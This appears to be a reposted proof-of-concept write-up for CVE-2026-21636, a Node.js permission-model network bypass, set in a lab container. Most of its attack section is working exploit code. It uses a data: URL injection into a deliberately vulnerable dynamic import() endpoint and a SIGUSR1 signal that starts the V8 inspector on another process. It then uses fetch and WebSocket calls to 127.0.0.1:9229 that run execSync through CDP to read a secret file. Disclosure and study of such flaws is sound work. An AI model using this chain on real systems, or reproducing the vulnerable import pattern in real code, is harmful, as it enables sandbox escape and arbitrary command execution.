Share
## https://sploitus.com/exploit?id=01945D2F-4B81-5485-A1AF-F1A1946428CD
# CVE-2026-21636 - Node.js Permission Model UDS/Network Bypass

## Vulnerability summary

The Node.js **permission model** (`--permission`) is designed to sandbox a process by restricting access to the filesystem, child processes, workers, and network. **CVE-2026-21636** reveals that connections made via `undici`/`fetch` (and `net`/`tls`) to **Unix Domain Sockets** and local TCP addresses completely bypass the network guard, even when `--allow-net` is absent.

> Affected: Node.js v25 (network permissions are still experimental at the time of disclosure).  
> This PoC reproduces the concept on v22 where the same bypass is observable.

An attacker who can inject arbitrary JavaScript into a process running under `--permission` (but without `--allow-net` or `--allow-child-process`) can:

1. Connect to privileged local services that should be unreachable.
2. Pivot through that service to execute arbitrary commands outside the sandbox.

---

## Environment architecture

Two processes run side-by-side inside the container under `supervisord`:

| Process | User | Flags | Capabilities |
|---|---|---|---|
| `target.cjs` | `app` | none | full Node.js API, no sandbox |
| `server.mjs` | `app` | `--permission --allow-fs-read=/` | full FS read โ€” **no net, no child_process, no worker** |

`target.cjs` writes its own PID to `/tmp/target.pid` on startup, then loops forever (idle victim process). `server.mjs` exposes an Express server on `:8000` with a `/pid` endpoint and a vulnerable `/language` endpoint.

`/app/secret.txt` is owned by `app` (`chmod 444`). Both processes can access it at the OS level. The exploit does not rely on a file-permission barrier โ€” it demonstrates that `server.mjs`, despite `--allow-net` being absent, can reach `127.0.0.1:9229` via `fetch()`/`WebSocket` and execute arbitrary code inside the unsandboxed `target.cjs` process. Reading `secret.txt` via CDP is the proof of that code execution.

> **Note: what this PoC actually demonstrates**
>
> Because `server.mjs` already runs with `--allow-fs-read=/`, reading `/app/secret.txt` directly from the sandboxed process is **trivially possible** using only the JS injection (step 1):
>
> ```js
> import { readFileSync } from 'fs';
> export default { secret: readFileSync('/app/secret.txt', 'utf8') };
> ```
>
> The filesystem read is not what this PoC is about. The goal is to demonstrate **CVE-2026-21636**: despite `--allow-net` being absent, `fetch()` (undici) can establish a TCP connection to `127.0.0.1:9229`, bypassing the permission model's network guard entirely. The exploit uses that bypass to pivot into the fully unsandboxed `target.cjs` process via CDP and achieve **arbitrary code execution outside the sandbox**; something no amount of `--allow-fs-read` would permit.

---

## Entry point - `POST /language`

```js
// server.mjs
app.post('/language', async (req, res) => {
    const requested = req.body?.lang ?? 'fr';
    res.json(await import(requested + '/index.js'));
});
```

The server performs a **dynamic `import()`** on a user-controlled string. Node.js's `import()` natively supports the `data:` URL scheme:

```
data:text/javascript,
```

The `/index.js` suffix appended by the server is neutralized by appending `//` at the end of the payload (treated as a URL comment / ignored path fragment).

This gives **arbitrary JavaScript execution inside the sandboxed process** - the entry point to abuse CVE-2026-21636.

---

## Permission model - what is (and isn't) allowed

The server starts with:

```
node --permission --allow-fs-read=/ /app/server.mjs
```

| Permission | Status |
|---|---|
| `--allow-fs-read=/` | granted (full read) |
| `--allow-fs-write` | **denied** |
| `--allow-net` | **denied** (experimental, not set) |
| `--allow-child-process` | **denied** |
| `--allow-worker` | **denied** |
| `--allow-inspector` | **denied** |

The intent: even if an attacker runs code inside `server.mjs`, they cannot reach the network, spawn processes, or access the inspector.

CVE-2026-21636 breaks the **`--allow-net`** boundary.

---

## Attack chain (3 steps)

### Step 1 - Retrieve target PID

```
GET /pid  โ†’  { "pid":  }
```

`target.cjs` writes its own PID to `/tmp/target.pid` on startup. The server exposes it. This identifies the victim process that will be used as a CDP relay.
This could also be done by injecting js in the entry point ; in order to simplify it, I juste created the /pid endpoint.

---

### Step 2 - Activate the V8 inspector on `target.cjs` via SIGUSR1

Payload injected via `POST /language` (as a `data:` URL):

```js
process.kill(, 'SIGUSR1');
export default { signal: 'SIGUSR1', sent_to:  };
```

When a Node.js process receives **SIGUSR1**, it starts (or resumes) its V8/CDP debugger and begins listening on:

```
127.0.0.1:9229
```

Because `target.cjs` runs **without `--permission`**, its inspector is fully privileged - it can evaluate any expression, including `require('child_process').execSync(...)`.

Sending signals (`process.kill`) is not gated by the permission model, so this step succeeds from inside the sandbox.

---

### Step 3 - Connect to CDP and execute commands (CVE-2026-21636)

Second payload injected via `POST /language`:

```js
// fetch the list of debuggable targets from the inspector HTTP API
const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json();

//then open a WebSocket to the CDP endpoint of target.cjs
const result = await new Promise(resolve => {
  const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`);
  ws.onopen = () => ws.send(JSON.stringify({
    id: 1,
    method: 'Runtime.evaluate',
    params: {
      expression: `process.mainModule.require('child_process')
                       .execSync('cat /app/secret.txt').toString()`,
      returnByValue: true
    }
  }));
  ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); };
});

export default result;
```

**Why this works despite `--allow-net` being absent:**

`fetch()` in Node.js is implemented by **undici**. CVE-2026-21636 shows that undici's connection path for `http://127.0.0.1:...` (and UDS `socketPath` options) does **not** go through the permission model's network check. The sandbox believes no outbound network access was made, yet the TCP connection to `:9229` succeeds.

The CDP `Runtime.evaluate` call runs inside the **unsandboxed** `target.cjs` process, so `require('child_process')` is available and `execSync` works freely.

---

## Full exploit flow

```
attacker (Python script)
    โ”‚
    โ”œโ”€[1]โ”€ GET  /pid                          โ†’ pid = N
    โ”‚
    โ”œโ”€[2]โ”€ POST /language  data:js SIGUSR1    โ†’ target.cjs inspector starts on :9229
    โ”‚
    โ””โ”€[3]โ”€ POST /language  data:js fetch+WS   โ†’ CDP Runtime.evaluate โ†’ cat /app/secret.txt
                                                           โ†‘
                                              CVE-2026-21636 bypass here
                                              (fetch to 127.0.0.1 without --allow-net)
```

---

## Usage

```bash
# Build and start the environment
docker compose up --build -d

# Run the exploit
python3 exploit.py
```

Expected output:

```
TARGET PID : 42
Response step 2 : {'signal': 'SIGUSR1', 'sent_to': 42}
SECRET : this_is_a_secret!
```

---

## References

- [NVD - CVE-2026-21636](https://nvd.nist.gov/vuln/detail/CVE-2026-21636)
- [Node.js Permission Model documentation](https://nodejs.org/api/permissions.html)
- [V8 Inspector / CDP protocol](https://chromedevtools.github.io/devtools-protocol/)
- [undici - Node.js built-in HTTP client](https://undici.nodejs.org/)